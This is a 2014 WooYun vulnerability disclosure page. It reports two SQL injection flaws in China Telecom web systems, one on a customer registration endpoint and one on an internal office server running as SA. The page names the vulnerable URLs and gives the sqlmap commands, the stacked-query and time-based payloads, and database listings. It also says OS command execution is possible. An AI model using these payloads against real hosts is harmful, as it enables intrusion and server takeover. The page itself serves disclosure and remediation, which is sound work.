当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-061053

漏洞标题：中国电信两处SQL注射(SA权限或影响内部办公平台)

相关厂商：中国电信

漏洞作者： 超威蓝猫

提交时间：2014-05-16 19:47

修复时间：2014-06-30 19:47

公开时间：2014-06-30 19:47

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-05-16： 细节已通知厂商并且等待厂商处理中
2014-05-21： 厂商已经确认，细节仅向厂商公开
2014-05-31： 细节向核心白帽子及相关领域专家公开
2014-06-10： 细节向普通白帽子公开
2014-06-20： 细节向实习白帽子公开
2014-06-30： 细节向公众公开

简要描述：

中国电信两处SQL注射(SA权限)

详细说明：

【注射点1 - 号码百事通账户平台】
(这个注射点使用sqlmap似乎只能--dbs读出库名，--tables读不出表名。可惜我不会手工注射 ._. )
http://sso.118114.cn/SSO/registerV2.action 注册"号码百事通"帐号这里的检查用户名是否可用的HTTP请求如下(前几天用了新地址但是原先存在SQL注射的这个页面并没有被删除)

http://customer.besttone.com.cn/UserPortal/PutAuthenCodeForRegisterAllInOne.aspx?PhoneNum=13000000000&SPID=35433333&count=2&typeId=1


其中的SPID参数存在SQL注射。
【注射点2 - 中国电信内部办公网】
在电信官网可以看到 http://www.chntel.com 为内部办公平台

01.jpg


该站点找回密码页面均在 218.30.7.23 这个服务器上。
该服务器上的这个地址存在SQL注射:

http://218.30.7.23/supervise/loginrt.jsp?CertSerial=111

漏洞证明：

【注射点1】

sqlmap.py -u "http://customer.besttone.com.cn/UserPortal/PutAuthenCodeForRegisterAllInOne.aspx?PhoneNum=13000000000&SPID=35433333&count=2&typeId=1" --dbs --no-cast


03.jpg


sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: SPID
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: PhoneNum=13000000000&SPID=35433333'; WAITFOR DELAY '0:0:5'--&count=2&typeId=1
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: PhoneNum=13000000000&SPID=35433333' WAITFOR DELAY '0:0:5'--&count=2&typeId=1
---
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
available databases [6]:
[*] besttone
[*] cip2
[*] master
[*] model
[*] msdb
[*] tempdb


【注射点2】

sqlmap.py -u "http://218.30.7.23/supervise/loginrt.jsp?CertSerial=111" --dbs --privileges --current-user


该注射点使用sqlmap的--os-cmd或--os-shell均可执行命令。

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: CertSerial
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: CertSerial=-5327' OR (6481=6481) AND 'KoFV'='KoFV
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: CertSerial=111'; WAITFOR DELAY '0:0:5'--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: CertSerial=111' WAITFOR DELAY '0:0:5'--
---
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2000
current user:    'sa'
database management system users privileges:
[*] BUILTIN\Administrators
[*] sa (administrator)
available databases [8]:
[*] master
[*] model
[*] msdb
[*] Northwind
[*] product
[*] pubs
[*] Supervise
[*] tempdb

修复方案：

电信更专业:)

版权声明：转载请注明来源 超威蓝猫@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：14

确认时间：2014-05-21 15:14

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT直接通报给中国电信集团公司处置。

最新状态：

暂无

漏洞评价：

评论

  1. 2014-05-16 19:49 | 魇 ( 普通白帽子 | Rank:1207 漏洞数:104 | 传闻中魇是一个惊世奇男子，但是除了他华...)

    快带我挖洞带我飞

  2. 2014-05-16 19:51 | 超威蓝猫 ( 核心白帽子 | Rank:1092 漏洞数:117 | STEAM_0:0:55968383)

    @魇 你RANK涨的比西方国家的记者还快

  3. 2014-05-16 19:53 | 魇 ( 普通白帽子 | Rank:1207 漏洞数:104 | 传闻中魇是一个惊世奇男子，但是除了他华...)

    @超威蓝猫 这是因为我对你的信仰 给我丢几个洞来吧

  4. 2014-05-16 19:55 | 超威蓝猫 ( 核心白帽子 | Rank:1092 漏洞数:117 | STEAM_0:0:55968383)

    @魇 SV

  5. 2014-05-16 19:57 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号，不装逼了，再见孩子们。by Mosua...)

    @超威蓝猫 @魇 我对你们都信仰，漏洞交给我提交吧，wb给你们！！我只要rank

  6. 2014-05-16 20:01 | 魇 ( 普通白帽子 | Rank:1207 漏洞数:104 | 传闻中魇是一个惊世奇男子，但是除了他华...)

    @Mosuan 你签名..口味略重

  7. 2014-05-16 21:28 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号，不装逼了，再见孩子们。by Mosua...)

    @魇 其实我暗恋疯狗200天了

  8. 2014-05-17 08:42 | Lonely ( 实习白帽子 | Rank:72 漏洞数:27 | 人生如梦,始终都游不过当局者迷的悲哀。)

    SA 啊 程序猿 又要挨批了。@超威蓝猫 @魇 我对你们都信仰，漏洞交给我提交吧.

  9. 2014-05-17 17:14 | Ares ( 路人 | Rank:29 漏洞数:8 | 来自幼儿园大班)

    来关注蓝猫了。